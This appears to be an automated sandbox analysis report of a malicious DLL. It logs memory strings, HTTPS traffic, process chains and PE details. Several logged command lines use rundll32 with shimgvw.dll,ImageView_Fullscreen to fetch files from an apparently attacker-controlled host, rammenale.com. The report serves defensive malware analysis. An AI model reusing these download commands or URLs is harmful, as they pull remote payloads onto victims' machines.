Source: rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtag
Source: rundll32.exe, 00000006.00000002.3274805413.0000000008453000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtd
Source: rundll32.exe, 00000005.00000002.3272308201.000000000267A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.00000000084B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txte
Source: rundll32.exe, 00000006.00000002.3272227188.0000000002610000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtent
Source: rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtentg
Source: rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtentindowsINetCookies
Source: rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtf
Source: rundll32.exe, 00000006.00000002.3272227188.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtft
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txthe
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtjx
Source: rundll32.exe, 00000006.00000002.3272227188.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtm
Source: rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtp
Source: rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtr
Source: rundll32.exe, 00000005.00000002.3272220241.00000000023D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272306421.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txts
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3274732553.0000000008469000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008499000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.000000000891D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtz
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogI
Source: rundll32.exe, 0000000B.00000002.3272070507.0000000002767000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogtxt
Source: rundll32.exe, 00000005.00000002.3272074755.0000000000247000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogtxtB
Source: rundll32.exe, 00000006.00000002.3272073394.00000000002F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogtxtH
Source: rundll32.exe, 0000000C.00000002.3272727200.0000000003645000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3274898545.00000000056DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp
Source: rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp$q
Source: rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp%
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp.(
Source: rundll32.exe, 0000000C.00000003.2370250074.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.0000000009270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp/
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp0
Source: rundll32.exe, 00000009.00000002.3272263359.0000000002C81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp2
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4P
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4T
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4e
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4r
Source: rundll32.exe, 0000000C.00000002.3275204855.00000000091F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp5A
Source: rundll32.exe, 0000000C.00000002.3272566960.00000000035DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp60
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275204855.00000000091F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp6634-1003
Source: rundll32.exe, 00000003.00000002.2056608367.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2056574094.0000000003360000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3272128849.00000000029F0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3272263359.0000000002C10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3273461533.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3272127824.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272566960.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272431562.0000000003480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpC:
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpE
Source: rundll32.exe, 0000000A.00000002.3272127824.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpE0
Source: rundll32.exe, 00000009.00000002.3272263359.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpG
Source: rundll32.exe, 00000009.00000002.3272263359.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpH
Source: rundll32.exe, 00000009.00000002.3273671925.0000000002E80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpPR
Source: rundll32.exe, 0000000A.00000002.3272127824.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpR0
Source: rundll32.exe, 0000000C.00000002.3275204855.0000000009207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpU
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpV
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpY
Source: loaddll32.exe, 00000000.00000002.2084984797.0000000000A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpaC:
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpd
Source: rundll32.exe, 00000009.00000002.3272263359.0000000002C81000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369942393.0000000003645000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272727200.0000000003645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpent
Source: rundll32.exe, 0000000A.00000002.3272127824.0000000002E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpent0
Source: rundll32.exe, 00000009.00000002.3272263359.0000000002C81000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpentindowsINetCookies
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmph
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpj
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpk
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpmp
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpmpf
Source: rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpo
Source: rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpq
Source: rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmprmh
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpryh
Source: rundll32.exe, 0000000A.00000002.3273620140.0000000003150000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272288324.0000000003430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmps
Source: rundll32.exe, 0000000C.00000003.2369942393.0000000003645000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272727200.0000000003645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpt
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpz

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49711 version: TLS 1.2

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9E970D	0_2_6F9E970D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9F44AB	0_2_6F9F44AB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9E93CB	0_2_6F9E93CB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9F9BE9	0_2_6F9F9BE9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9E9A6C	0_2_6F9E9A6C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9F4000	0_2_6F9F4000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E970D	3_2_6F9E970D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F44AB	3_2_6F9F44AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E93CB	3_2_6F9E93CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F9BE9	3_2_6F9F9BE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E9A6C	3_2_6F9E9A6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F4000	3_2_6F9F4000

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6F9E38C0 appears 45 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6F9E38C0 appears 45 times

Source: Dll1.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: classification engine

Classification label: mal80.evad.winDLL@20/0@2/1

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F9E1CFA CloseHandle,CoInitialize,CoCreateInstance,CoUninitialize,ExpandEnvironmentStringsW,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysAllocString,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,

0_2_6F9E1CFA

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03

Source: Dll1.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Dll1.dll,mydllmain

Source: Dll1.dll

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\Dll1.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Dll1.dll,mydllmain
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Dll1.dll,mydllmain	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Dll1.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Dll1.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Dll1.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Dll1.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Dll1.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Dll1.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Dll1.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: Dll1.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: Dll1.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Dll1.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Dll1.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Dll1.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Dll1.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9FA301 push ecx; ret	0_2_6F9FA314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9FA301 push ecx; ret	3_2_6F9FA314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0475F2EC push 840843CEh; iretd	5_2_0475F2F1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04E0ECB6 push 825076FAh; retn 0002h	9_2_04E0EDEA

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\loaddll32.exe	API coverage: 6.7 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 6.1 %

Source: C:\Windows\SysWOW64\rundll32.exe TID: 7460	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7476	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

